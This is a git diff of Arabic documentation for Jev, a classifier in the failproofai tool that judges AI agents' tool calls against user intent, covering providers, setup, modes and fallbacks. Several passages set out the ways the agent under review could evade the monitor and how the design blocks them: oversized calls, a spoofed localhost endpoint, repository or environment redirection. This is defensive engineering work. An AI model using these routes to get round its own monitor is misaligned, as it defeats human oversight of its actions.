+- لا يجعل Jev استدعاء أكثر تساهلاً من سياساتك وحدها ما لم يقرأ الاستدعاء كاملاً ويُسأل عن الاهتمام الدقيق. أي شيء أقل — استدعاء كبير جداً للإرسال كاملاً، حقن مريب — يسحب التصاريح ويحافظ على كل رفض.
+
+
+بدون إعداد Jev لا يتغير شيء: تشغل الخطافات سياسات regex تماماً كما فعلت دائماً. الإعداد هو الموافقة الشاملة.
+
+
+
+على FailproofAI Cloud؟ لا تحتاج إلى مفتاح خاص بك: يمكن لآلة متصلة بمفتاح يحمل `jev:evaluate` استخدام Jev على خطة مؤسستك. اطلع على [Jev من خلال FailproofAI Cloud](/ar/policies/jev-cloud).
+
+
+## اختر مزوداً
+
+يمكن الوصول إلى Jev من خلال خمس طرق. أحضر مفتاحاً لأي منها.
+
+| المزود | `--provider` | نقطة النهاية | النموذج الافتراضي | ملاحظات |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | دبوس الإصدار الدقيق. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | يتم توجيه الطلبات إلى نقاط نهاية احتفاظ بلا بيانات فقط، بدون رجوع إلى مزود آخر. يُبلِّغ عن إصدار مؤرخ مثل `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | يسمي Jev فقط بحسب اسم مستعار، لذا يتم تسجيل الإصدار الذي يجيب على أنه غير معروّف. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | يحتاج إلى `--account-id`. تم قياس حوالي ستة استدعاءات في الثانية لكل مفتاح قبل HTTP 429. |
+| نقطة نهايتك الخاصة | `custom` | `/systemone` | `jev-1.13.0` | أي نقطة نهاية تقبل جسم الطلب من TypeSafe وتبلِّغ عن النموذج الذي أجاب. `https` فقط؛ `http://localhost` البسيط مقبول فقط في الوضع الظلي. |
+
+
+مع ميزة استخدام مفتاحك الخاص من Vercel، يتم إعادة محاولة الطلب الفاشل بصمت ببيانات اعتماد Vercel. إذا كنت بحاجة إلى فوترة كل استدعاء، وعرضه، على حسابك TypeSafe الخاص فقط، استخدم TypeSafe مباشرة.
+
+
+## أعده
+
+أمر واحد، نقطة النهاية والمفتاح:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+```
+
+### يختار URL المزود
+
+لا تضطر إلى تسمية المزود: **المضيف** في URL هو الذي يكون.
+
+| مضيف URL | المزود | يحتاج أيضاً إلى |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| أي مضيف آخر | `custom` | — الـ URL الذي أعطيته هو الـ URL الأساسي |
+
+ثلاثة أشياء تنتج من ذلك:
+
+- **URL الذي هو API المزود الخاص لا يكتب أي تجاوز.** ينتج `--url https://api.typesafe.ai/v1` بالضبط الإعداد الذي كان `--provider typesafe` سينتجه. أعط مساراً أو مضيفاً مختلفاً على مزود معروف وسيتم تخزينه على أنه URL أساسي، كما كان `--base-url` سيخزنه.
+- **`--provider` يجاوز الاستدلال بعد**، وهذه هي الطريقة للوصول إلى وسيط يتحدث API مزود من مضيف خاص بك: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **`--provider` يتعارض مع المضيف يُرفض**، لا يُخمَّن. `--provider openrouter --url https://api.typesafe.ai/v1` لا يكتب شيئاً ويقول السبب: يختلف الطريقان عن حيث سيتم إرسال مفتاحك. يتم رفض الزوج نفسه من `jev setup --base-url` ومن إعدادات Jev في لوحة المعلومات. (`--provider custom` ليس تعارضاً — يعني "اعتبر هذا URL بذاته" — باستثناء على مضيف Cloudflare، الذي لا يمكن لمسار مخصص الوصول إليه.)
+
+يتم التحقق من صحة `--url` تماماً كما يتم التحقق من صحة `baseUrl` في ملف الإعداد، ويُرفض بنفس الكلمات: `https`، أو `http://localhost` البسيط في الوضع الظلي فقط.
+
+### المفتاح
+
+أدخله باستخدام `--key-stdin`، أو قم بتشغيل الأمر في محطة بدون ذلك والصق المفتاح في موجه مقنَّع. على أي حال، يذهب مباشرة إلى ملف الإعداد ولا يطبع أبداً.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --key-stdin < ~/jev.key
+ ```
+
+
+
+يأخذ `failproofai jev setup` نفس الأعلام وهو الصيغة المطولة لكل ذلك: `setup --provider ` حيث تفضل تسمية المزود بدلاً من URL.
+
+### `--token`، وما يكلفه
+
+`--token ` يضع المفتاح على سطر الأوامر، وهو أسرع طريقة لتكوين آلة والصيغة الوحيدة التي تترك المفتاح في أي مكان ما عدا ملف الإعداد:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+يكون حجة سطر الأوامر في ملف سجل الأصداف الخاص بك بعد ذلك، وبينما ينفذ الأمر يكون في قائمة العملية — قابل للقراءة من `/proc` بأي شيء يعمل بنفس حالتك. `setup` يقول ذلك في كل مرة يُستخدم `--token`. فضّل `--key-stdin` على آلة تشاركها، في جلسة مسجلة، أو في أي مكان يتم فيه مزامنة ملف السجل؛ قم بتدوير مفتاح مررته بهذه الطريقة إذا أهمك الأمر.
+
+
+`--token` و`--key-stdin` و`--key-from-env` متنافيتان: أعط واحداً.
+
+ثم أرسل طلب بث صغير حي واحد لفحص المفتاح، نقطة النهاية وأي Jev أجاب:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` ينهي بـ 1، ويقول ذلك في عنوانه، عندما تصل الإجابة بعد انتهاء المهلة الزمنية (كل خطاف سيعود إلى regex كـ `timeout`) أو تجيب على سؤال الفحص بشكل خاطئ.
+
+تقرأ الخطافات الإعداد على كل استدعاء أداة، لذا فهو ينطبق من الاستدعاء التالي. لا يوجد شيء يجب إعادة تشغيله، مع أو بدون المراقب.
+
+## تحقق مما يفعله
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+يُظهر `status` المزود، نقطة النهاية، النموذج، الوضع، ملف الإعداد والأذونات الخاصة به، ولا أبداً المفتاح. تحته، يلخص النشاط الأخير: كم استدعاء قيّم Jev، كم مرة عاد إلى regex ولماذا، زمن الاستجابة، وأي سياسات قابلة للمراجعة أزالها.
+
+## الوضع الظلي
+
+`enforce` هو الافتراضي. لمراقبة Jev بدون السماح له بتغيير أي قرار، انتقل إلى `shadow`: لا يزال Jev يُسأل وتُسجل أحكامه، لكن نتيجة regex هي ما يتم تطبيقه.
+
+```bash
+failproofai jev setup --mode shadow
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` يحتفظ بالإعداد — نقطة النهاية والمفتاح — ويوقف سؤال Jev: تشغل الخطافات سياسات regex تماماً كما بدون إعداد، و`failproofai jev status` يقول "off (switched off)". تبديل العودة مع `--mode shadow` أو `--mode enforce`.
+
+إعادة تشغيل `setup` للمزود نفسه يحتفظ بالمفتاح المخزن، لذا فإن تبديل الوضع هو علم واحد. يبدأ تبديل المزود من جديد ويطلب مفتاح ذلك المزود. وكذا `--base-url` الذي ينقل الطلبات إلى مضيف مختلف: يتم إرسال مفتاح مخزن فقط إلى المضيف الذي أُعطي له، أو إلى API المزود الخاص به.
+
+## ملف الإعداد
+
+كل شيء يوجد في ملف واحد، `~/.failproofai/jev.json`، مكتوب بواسطة `setup`:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| الحقل | المعنى |
+| --- | --- |
+| `provider` | `typesafe` أو `openrouter` أو `vercel` أو `cloudflare` أو `custom` — أو `failproofai`، الذي يأتي مفتاحه من اتصال FailproofAI Cloud بدلاً من هذا الملف (اطلع على [Jev من خلال FailproofAI Cloud](/ar/policies/jev-cloud)). |
+| `apiKey` | أُرسل كـ `Authorization: Bearer `. |
+| `baseUrl` | مطلوب لـ `custom`؛ يحل محل قاعدة API المزود بخلاف ذلك. يجب أن يكون `https`. `http` البسيط إلى `localhost` مقبول فقط مع `mode: shadow`: لا شيء يثبت منفذ محلي، لذا بينما تكون الوسيط معطلاً قد تجيب أي عملية على الآلة، بما في ذلك الوكيل الذي يتم الحكم عليه، محله.
+| `accountId` | Cloudflare فقط: 32 حرف hex صغير. |
+| `model` | يحل محل معرّف النموذج الافتراضي للمزود. يجب أن يسمي معرّف الإصدار Jev 1.13. قيمة بشكل مشابه لمفتاح API يتم رفضها (ولا تكرر للخلف)، لذا فإن مفتاحاً مُدرجاً في `--model` لا يتم تخزينه أو إرساله أبداً كنموذج. |
+| `timeoutMs` | كم من الوقت ينتظر استدعاء الأداة Jev قبل استخدام نتيجة regex. 100–10000، افتراضي 3000. |
+| `mode` | `enforce` (افتراضي) أو `shadow` أو `off` (احتفظ بالإعداد، لا تشغل Jev). |
+
+ثلاث قواعد تحميها:
+
+- **المالك فقط.** يتم كتابته بأذونات `0600`. نسخة يمكن لأي مستخدم أو مجموعة أخرى قراءتها أو كتابتها **يتم رفضها**، والخطافات تعود إلى regex حتى تشغل `chmod 600 ~/.failproofai/jev.json` أو `setup` مرة أخرى. يتم التحقق من الدليل أيضاً: `~/.failproofai` يجب ألا يكون **قابلاً للكتابة** من قبل أي شخص آخر، لأن من يمكنه الكتابة هناك يمكنه استبدال الملف مهما كانت أذوناته. `setup` يأخذ تلك البتات الكتابة إذا وجدها. `failproofai jev status` يقول عندما يتم رفض إعداد ويُظهر نقطة النهاية التي يسميها الملف: قد يكون شخص آخر قد غيّره، لذا تحقق من أنه ملكك قبل أن تفعل `chmod`. إعادة تشغيل `setup` على مثل هذا الملف يحمل مفتاحه المخزن فقط إلى API المزود الخاص به؛ أي نقطة نهاية أخرى يسميها تحتاج إلى المفتاح مرة أخرى (`--key-stdin`)، أو `--base-url default` لإرسال طلبات للخلف إلى المزود.
+- **عام فقط.** لا يمكن لمستودع أن يشغل Jev، أو يوجهه إلى نقطة نهاية أخرى أو يختار نموذجه: يتم تجاهل `.failproofai/jev.json` داخل مشروع، ويتم قراءة المزود و URL والنموذج ومعرّف الحساب فقط من ذلك الملف — أبداً من البيئة، التي يمكن لإعدادات وكيل مستودع أن تعينها. (`FAILPROOFAI_HOME` ليست طريقة حول ذلك: تنقل مجلد failproofai بأكمله، سياساتك المضمنة، بدلاً من إعادة توجيه Jev بمفرده.)
+- **قد يأتي المفتاح وحده من البيئة.** إذا لم يكن الملف يحتوي على `apiKey`، يوفر `FAILPROOFAI_JEV_API_KEY` لتلك الجلسة (`setup --key-from-env` يكتب مثل هذا الملف). لا يحل أبداً محل مفتاح يحمله الملف، ولا يمكنه تشغيل Jev بدون الملف. حيث لم يتم تعيين المتغير، يكون Jev ببساطة معطل لتلك القشرة: `failproofai jev status` يقول ذلك، ينهي بـ 0 ويترك الإعداد وحده (`status --json` يُبلِّغ عن `"status": "key-missing"` مع `"reason": "no-env-key"`). مراقب `failproofaid` لا يرى بيئة القشرة الخاصة بك، لذا على آلة تم إعدادها مع `failproofai config`، احتفظ بالمفتاح في الملف.
+
+## أي Jev يجيب
+
+تم معايرة عتبات قرار Failproof AI على Jev 1.13، لذا يتم استخدام إجابة فقط عندما تأتي من تلك العائلة: `jev-1.13.x` أو `typesafe/jev-1.13-` من OpenRouter. حيث يسمي المزود Jev فقط بـ اسم مستعار ولا يُبلِّغ عن إصدار (Vercel و Cloudflare عندما لا تقول)، يتم استخدام الإجابة وتسجيلها على أنها غير معروّفة. يجب أن تُبلِّغ نقطة نهاية `custom` عن النموذج الذي أجاب؛ الاستثناء الوحيد هو اسم `--model` غير مصير تكوينه له، الذي، إذا تمّ صداه للخلف، يتم تسجيله على أنه غير معروّف بنفس الطريقة. إجابة تُبلِّغ عن أي إصدار آخر، أو إجابة `custom` لا تُبلِّغ عن أي إصدار، لا يتم استخدامها: يعود هذا الاستدعاء إلى regex بالسبب `model-mismatch`.
+
+## عندما لا يمكن لـ Jev الإجابة
+
+كل من هذه يعود إلى نتيجة regex لهذا الاستدعاء ويتم تسجيله مع سببه، الذي `failproofai jev status` يجمعه:
+
+| السبب | السبب |
+| --- | --- |
+| `timeout` | لا إجابة ضمن `timeoutMs`. |
+| `http-429` | حدّ المزود معدل المفتاح. |
+| `rate-limited` | حدود Failproof AI الخاصة أمسكت الاستدعاء قبل إرساله: 5 طلبات في الثانية، في انفجارات بما يصل إلى 5، وليس شيء لحظة بعد أن يجيب المزود بـ `429`. ليس المزود. |
+| `http-500` أو `http-502` أو `http-503` وما إلى ذلك | خطأ خادم في المزود. يتم تسجيل الحالة الدقيقة. |
+| `out-of-credits` | HTTP 402: حساب المزود لا يملك أرصدة متبقية. |
+| `provider-refused` | HTTP 402 من Cloudflare يقرأ "Model execution failed (Payment error)": رفض المزود تشغيل النموذج على هذا الطلب. عادة ليس الفواتير، لذا سيؤدي شحن الرصيد إلى عدم تحريكه. |
+| `http-401` أو `http-403` | تم رفض المفتاح. |
+| `http-404` | لا شيء يتم تقديمه في `/systemone`، لذا قاعدة URL خاطئة — `/systemone` يتم إضافته إليه، وكل مزود يقدمه عند جذر إصداره. يُظهر `failproofai jev models` ما يخدمه نقطة النهاية. |
+| `network` | لم يتمكن من الوصول إلى نقطة النهاية. |
+| `http-301` أو `http-302` أو `http-307` أو `http-308` | أجابت نقطة النهاية بإعادة توجيه. لا يتم متابعة عمليات إعادة التوجيه، لذا تأتي الإجابة فقط من URL في إعدادك؛ عيّن `--base-url` إلى URL النهائي. |
+| `malformed` | أجابت نقطة النهاية، لكن ليس بإجابة Jev — جسم ليس JSON، أو واحد بدون إجابات فيه. |
+| `cloudflare-error` أو `cloudflare-incomplete` | أبلغ مغلف Cloudflare عن فشل، أو وظيفة لم تنته. |
+| `model-mismatch` | إصدار Jev آخر غير 1.13 أجاب، أو لم تقل نقطة نهاية `custom` أي نموذج أجاب. |
+| `request-cut` | **ليس انقطاع.**Jev أجاب؛ تم عرض فقط جزء من الاستدعاء عليه، لذا إجابته لم تُلغ شيئاً. اطلع على [عندما أجاب Jev، لكن ليس على الاستدعاء كاملاً](#when-jev-answered-but-not-on-the-whole-call). |
+
+`failproofai jev status` يمكنه أيضاً إظهار عدد قليل من الأسباب الأندر، مثل `upstream-error` (حملت الإجابة خطأ المزود الخاص به) أو `config`، ويجمع أي سبب لا يمكنه تسميته كـ `other`.
+
+`request-cut` موجود في هذا الجدول لأن `failproofai jev status` يجمعه مع البقية، وأيضاً لأنه يترك أيضاً كل رفض قائماً. إنه السبب الوحيد هنا الذي لا يقول شيئاً عن مزودك: وصل الطلب وأجاب Jev عليه. على عكس كل صف فوقه، تلك الإجابة لا تزال تحسب — يطبق رفض أو تحذير Jev الخاص على نتيجة regex بدلاً من التخلص منه. لذا فإن مسار منهم يعني استدعاءات تصل إلى المقيّم كبير جداً للإرسال كاملاً، وليس أن نقطة النهاية الخاصة بك سيئة، وسيؤدي شحن الأرصدة أو تغيير URL إلى عدم تحريك الرقم.
+
+## عندما أجاب Jev، لكن ليس على الاستدعاء كاملاً
+
+شيئان آخران يمكن أن يحدثا، ولا أحد منهما Jev فشل في الإجابة. كلاهما يتعلق بكم من الاستدعاء، أو من المحادثة، مناسب في طلب واحد.
+
+**جزء من الاستدعاء نفسه لم يناسب.** يتم إرسال استدعاء الأداة داخل ميزانية ثابتة، واحد ضخم — `Write` كبير جداً، جسم MCP ضخم، أمر مُحشى إلى الحد — يتم إرساله مع ما ناسب. يجيب Jev بعد ذلك، وتحسب إجابته بعد ذلك: يطبق رفضه أو تحذيره الخاص كالمعتاد. ما لا يمكنه فعله هو **إلغاء** أي شيء، لأن حكم معطى على جزء من استدعاء ليس حكماً على الاستدعاء. لذا فإن كل سياسة رفض تقف، ويتم تسجيل الاستدعاء كرجوع مع السبب `request-cut`، الذي `failproofai jev status` يجمعه جنباً إلى جنب مع الأسباب أعلاه. القاعدة التي يعطيك إياها: جعل استدعاء أكبر يمكنه تكلفته تصاريحه، ولا يمكنه أبداً شراء واحدة.
+
+**رسالة لم تناسب.** موجه طويل ألصقته، الرسالة الأخيرة للوكيل، أو موجه قد كان مخزن هذا المقيّم قد قبض عليه بالفعل. **لا شيء يتغير**: يتم الحكم على الاستدعاء، وإلغاء وتسجيله تماماً كأي آخر، ولم يتم حسابه كرجوع. طول ما تكتبه لا يقرر أبداً حكماً، وقطع لا يمكنه تصنع الموافقة: حيث وصل موجه مقبوض عليه بالفعل، "أنت لم تطلب هذا" يتوقف عن كونه استنتاجاً يمكن استخلاصه منه على الإطلاق، بدلاً من أن يصبح واحداً.
+
+الخط بين الاثنين هو من كتب النص. الاستدعاء للوكيل، وقاعدة تسمح لطوله بطرح الشدة ستكون قاعدة يمكن للوكيل استخدامها؛ موجهك لك، ومعاملة طوله كإشارة فقط قد عاقب دائماً لصق مواصفة أو تتبع الحجم.
+
+## ما يترك الآلة
+
+لكل استدعاء أداة يقيّمه Jev، طلب واحد يذهب إلى مزودك، حاملاً:
+
+- استدعاء الأداة نفسه، مع أسرار مثل مفاتيح API ورموز المشروع وتعيينات `KEY=` معاد صياغتها؛
+- الموجهات الأخيرة التي كتبتها، مع إزالة النص الذي أضافت حزام الوكيل؛
+- الرسالة الأخيرة للوكيل قبل موجهك الأخير، معنّون كمكتوب بواسطة الوكيل؛
+- حقائق محسوبة محلياً، مثل ما إذا كان المسار داخل المشروع — الذي كانت الجلسة فيه عند أول استدعاء مراجع، [مثبت للجلسة](/ar/reference/jev-intent#the-project-root) — والفرع git الحالي.
+
+يذهب فقط إلى نقطة النهاية في إعدادك، تحت مفتاحك.
+
+## أطفئه
+
+```bash
+failproofai jev remove
+```
+
+هذا يحذف `~/.failproofai/jev.json`. من استدعاء الأداة التالي، تشغل الخطافات سياسات regex تماماً كما قبل. مخازن كل جلسة تحت `~/.failproofai/state/semantic/` (الموجهات المسجلة في `sessions/`، جذور المشروع في `roots/`) يتم تركها في المكان وتتقدم في السن. لإيقاف سؤال Jev لكن الاحتفاظ بالإعداد، استخدم `failproofai jev setup --mode off` بدلاً من ذلك.
+
+## مرجع الأوامر
+
+| الأمر | النتيجة |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | أعده في أمر واحد؛ يأتي المزود من مضيف URL |
+| `failproofai jev --url --token ` | نفس، مع المفتاح على سطر الأوامر — السجل والقائمة الخاصة بك رى تراه |
+| `failproofai jev setup --provider --key-stdin` | اكتب الإعداد من مفتاح مُنقول على stdin |
+| `failproofai jev setup --provider ` | نفس، طالباً المفتاح في موجه مقنَّع |
+| `failproofai jev setup --key-from-env` | لا تخزن مفتاح؛ اقرأ `FAILPROOFAI_JEV_API_KEY` لكل جلسة |
+| `failproofai jev setup --mode shadow` | وضع التبديل (`enforce` أو `shadow` أو `off`)، الاحتفاظ بالمفتاح المخزن |
+| `failproofai jev setup --model ` / `--base-url ` | تجاوز النموذج أو قاعدة API؛ `default` يمسح التجاوز |
+| `failproofai jev setup --timeout-ms ` | تغيير الميزانية لكل استدعاء |
+| `failproofai jev status [--json]` | الإعداد والأذونات والنشاط الأخير؛ أبداً المفتاح |
+| `failproofai jev test [--json]` | طلب بث واحد: زمن الاستجابة والإصدار الذي أجاب |
+| `failproofai jev models [--provider ] [--url ] [--json]` | معرّفات النموذج التي يُبلِّغ عنها `/models` لنقطة النهاية، ويشير إلى المُعدّل |
+| `failproofai jev remove` | احذف الإعداد؛ Jev معطل |
\ No newline at end of file
diff --git a/docs/ar/policies/jev-cloud.mdx b/docs/ar/policies/jev-cloud.mdx
new file mode 100644
index 000000000..ccb20183d
--- /dev/null
+++ b/docs/ar/policies/jev-cloud.mdx
@@ -0,0 +1,117 @@
+---
+title: "Jev من خلال FailproofAI Cloud"
+description: "دع Jev يحكم على استدعاءات أدوات وكلائك من خلال FailproofAI Cloud، على خطة مؤسستك، بدون حساب TypeSafe أو مفتاح خاص بك."
+icon: "cloud"
+---
+
+[Jev](/ar/policies/jev-byok)، مصنف TypeSafe، يقرأ كل استدعاء أداة مقابل ما طلبته بالفعل ويجيب إلى جانب سياساتك، وليس بدلاً منها. من خلال **FailproofAI Cloud**، تستخدم الآلة المتصلة Jev بنفس المفتاح الذي تتصل به بالفعل: لا حساب TypeSafe، لا مفتاح ثانٍ، لا نقطة نهاية للتكوين. يتم فرض رسوم على كل استدعاء حسب تخصيص الخطة الحالي لمؤسستك.
+
+كل ما يفعله Jev لم يتغير عن [إعداد bring-your-own-key](/ar/policies/jev-byok): السياسات الصارمة تبقى نهائية، تُمحى حالة الرفض للسياسة المراجعة فقط عندما يتم السؤال عن Jev حول هذا الاهتمام بالذات، وأي فشل يعود إلى نتيجة regex لهذا الاستدعاء.
+
+
+يتطلب **failproofai 1.0.8-beta.0** أو إصدار أحدث. 1.0.7 ليس لديه Jev، على الرغم من أنه يترتب فوق إصدارات 1.0.7 التجريبية. بدون تكوين Jev، لا شيء يتغير: تعمل الخطافات على سياسات regex تماماً كما كانت دائماً.
+
+
+## تشغيله
+
+1. **إنشاء مفتاح باستخدام Jev.** في لوحة تحكم FailproofAI Cloud، افتح **Keys → Create key** واختر إعداد **machine**. يمنح المفتاح الأذونات الثلاث التي تحتاجها الآلة: `events:add` (إرسال النشاط)، `policies:pull` (استقبال السياسات) و `jev:evaluate` (Jev، يتم فرض رسوم عليه حسب خطة مؤسستك). لا يمكن لمفتاح أن يحمل `jev:evaluate` بدون الاثنين الآخرين.
+2. **اتصل بالآلة** بهذا المفتاح:
+
+ ```bash
+ failproofai config --token
+ ```
+
+ إذا كانت مؤسستك تدير FailproofAI Cloud الخاص بها بدلاً من النسخة المستضافة، أضف عنوانها: `--url https://` (أو صدّر `FAILPROOFAI_CLOUD_URL`). بدونها، يتم التحقق من المفتاح مقابل الخدمة المستضافة ويفشل الاتصال. إذا كانت شهادة هذا المضيف من CA خاص، ثبت CA في مخزن الثقة النظامي للآلة (على سبيل المثال مع `update-ca-certificates`)، وليس فقط في `NODE_EXTRA_CA_CERTS`: المراقب الذي يرسل الأحداث ويسحب السياسات يقرأ المخزن النظامي. انظر [Troubleshooting](/ar/reference/troubleshooting).
+
+هذا كل شيء. يحفظ الاتصال المفتاح وعندما لا تملك الآلة تكوين Jev بعد، يقوم بتشغيل Jev من خلال FailproofAI Cloud في وضع **shadow**: يتم السؤال عن Jev بشأن كل استدعاء أداة محصورة وتسجيل أحكامه، لكن نتيجة سياساتك هي ما يتم فرضه. يقول الإخراج ذلك:
+
+```text
+ Jev on through FailproofAI Cloud, in shadow mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+**مع `--no-transcripts`، لا يؤدي الاتصال إلى تشغيل Jev.** يرسل Jev كل استدعاء أداة تم فحصه والمطالبة الأخيرة إلى FailproofAI Cloud، وهو أكثر مما يُطلب من اتصال قرارات فقط. لا يزال المفتاح مخزناً، والإخراج يقول أن Jev متاح وكيفية تشغيله:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+كما أنه لا يطفئ Jev **off**. إذا كان `jev.json` للآلة يشغل بالفعل Jev من خلال FailproofAI Cloud، فسيتم تركه كما هو، والإخراج يقول أن Jev لا يزال يرسل كل استدعاء أداة تم فحصه والمطالبة الأخيرة، وأن `failproofai jev setup --mode off` يطفئه.
+
+
+الاتصال **لا يستبدل أبداً** ملف `~/.failproofai/jev.json` موجود. إذا كنت تستخدم بالفعل نقطة نهاية Jev الخاصة بك، فستستمر في الاستخدام، والإخراج يقول أن الملف تم تركه كما هو مكوّن — وعندما يترك هذا الملف Jev معطلاً (مرفوضاً، أو معطلاً)، يقول ذلك وكيفية إصلاحه. للتبديل إلى هذه الآلة في FailproofAI Cloud، قم بتشغيل `failproofai jev setup --provider failproofai`.
+
+
+## Shadow أو enforce أو off
+
+ابدأ في shadow، شاهد ما كان سيفعله Jev على صفحة السياسة، ثم دعه يتصرف:
+
+```bash
+failproofai jev setup --mode enforce # تنطبق أحكام Jev: قد يمحو رفض قابل للمراجعة ويضيف أحكامه الخاصة
+failproofai jev setup --mode shadow # يتم السؤال عن Jev وتسجيله؛ نتيجة سياساتك هي ما يتم فرضه
+failproofai jev setup --mode off # احتفظ بالتكوين، توقف عن السؤال عن Jev
+```
+
+نفس الخيار موجود في لوحة التحكم المحلية: **Settings → Jev** يحتوي على مفتاح تشغيل/إطفاء و shadow/enforce. يعيد كتابة الوضع وليس شيء آخر. تقرأ الخطافات التكوين في كل استدعاء أداة، لذا ينطبق التغيير من الاستدعاء التالي، بدون إعادة تشغيل.
+
+## تحقق مما يفعله
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+يعرض `status` المزود باسم **FailproofAI Cloud**، المضيف في Cloud الذي اتصلت به الآلة، والوضع، ومصدر المفتاح باسم **FailproofAI Cloud connection**، لا تعرض المفتاح أبداً. عندما يكون `jev.json` الخاص بـ FailproofAI Cloud موجوداً لكن لا يمكن لـ Jev الجري، يقول السبب:
+
+| يقول `status` | `status --json` | المعنى |
+| --- | --- | --- |
+| **off — لا يوجد مفتاح Jev مخزن لاتصال FailproofAI Cloud بهذه الآلة** | `key-lacks-jev` | الآلة متصلة، لكن لا يوجد مفتاح Jev مخزن لها: المفتاح يفتقد `jev:evaluate`، أو الاتصال لم يستطع تأكيده. قم بتشغيل `failproofai config --token ` مرة أخرى بنفس المفتاح؛ إذا كان ينقصه الإذن، استخدم مفتاح **machine**. |
+| **off — هذه الآلة غير متصلة بـ FailproofAI Cloud** | `not-connected` | لا توجد اتصال FailproofAI Cloud على هذه الآلة لمفتاح Jev ليتبع. |
+
+بعد `failproofai config --disconnect` لم يعد هناك `jev.json` الخاص بـ FailproofAI Cloud (ما لم يتم إطفاؤه، والذي يتم الاحتفاظ به)، لذا يقول `status` ببساطة أن Jev معطل. يحمل `status --json` نفس الحقائق (`provider: "failproofai"`، `keySource: "cloud"`، `cloudConnected`، `keyCarriesJev`)، أيضاً عندما يكون التكوين غائباً أو مرفوضاً. `permissions` هو دائماً من `jev.json`؛ الرفض حول `credentials.json` يضيف `credentialsPermissions`، و `fix` عندما تصلح أمر واحد. يرسل `test` طلباً واحداً مباشراً ويبلغ عن زمن الانتقال وإصدار Jev الذي أجاب. يخرج 1، ويقول ذلك في عنوانه، عندما تصل الإجابة بعد timeout الخطاف (ستسجل الخطافات `timeout`) أو تجيب على سؤال الفحص بشكل خاطئ.
+
+تعرض لوحة تحكم **Settings → Jev** أيضاً اتصال **FailproofAI Cloud connection**: المؤسسة التي تبلغ الآلة عنها وما إذا كان مفتاحها يحمل Jev. تتم قراءتها من ملفات الآلة الخاصة بها، بدون استدعاء شبكة.
+
+## ما يصل إلى صفحة السياسة
+
+الآلة ترسل بالفعل نشاطها من الخطاف إلى FailproofAI Cloud (`events:add`). مع تشغيل Jev، سجل كل استدعاء محصور يقول أيضاً أي معيّن جرى، ما قررته Jev، أي السياسات التي أمحاها، لماذا عادت عندما فعلت، وزمن الانتقال والنموذج الذي أجاب — القرارات، الرموز والأسماء، لا تعرض الأوامر أو المطالبة. على صفحة **Policies** بمؤسستك:
+
+- يتم نسب استدعاء قررت حكمه الخاص بـ Jev (وضع enforce) إلى **Jev**، وعندما جاء الفحص الحاسم من حزمة، يسمي السجل أيضاً تلك الحزمة وإصدارها؛
+- في وضع shadow، يظهر نفي أو تحذير Jev كـ **would-have**، بجانب التجاوزات التي تراقبها؛
+- تُحتسب السياسات التي أمحاها Jev، أو كانت ستمحوها في وضع shadow، لكل سياسة.
+
+## عندما لا يستطيع Jev الإجابة
+
+كل واحد من هذه يعود إلى نتيجة سياساتك لهذا الاستدعاء، ويسجل مع السبب:
+
+| السبب | السبب |
+| --- | --- |
+| `out-of-credits` | استخدمت مؤسستك تخصيص الخطة. |
+| `http-401`, `http-403` | تم إلغاء المفتاح، أو لا يحمل `jev:evaluate`. أعد الاتصال بمفتاح يفعل ذلك. |
+| `http-429` | FailproofAI Cloud يقيّد معدل Jev لمؤسستك. حتى ينتهي الانتظار الذي يطلبه (الخاص به `Retry-After`، بحد أقصى 60 ثانية)، لا ترسل الآلة له شيء وكل استدعاء يعود مباشرة. الاستدعاءات المحتفظ بها بهذه الطريقة يتم تسجيلها كـ `http-429`، أو كـ `rate-limited` عندما يحتفظ حد معدل الآلة الخاص بها أولاً. |
+| `http-429` (حد يومي) | استخدمت مؤسستك استدعاءات Jev اليومية: **10,000 لكل يوم UTC**، ما لم يقم من يشغل FailproofAI Cloud الخاص بك بتعيين حد آخر. كل استدعاء يعود حتى يعاد تعيين العدد في 00:00 UTC؛ الآلة لا تزال تسأل مرة واحدة على الأكثر في الدقيقة، لذا تختار الإعادة في غضون دقيقة. يقول `failproofai jev test` "Daily Jev limit for this org reached; resets at 00:00 UTC." |
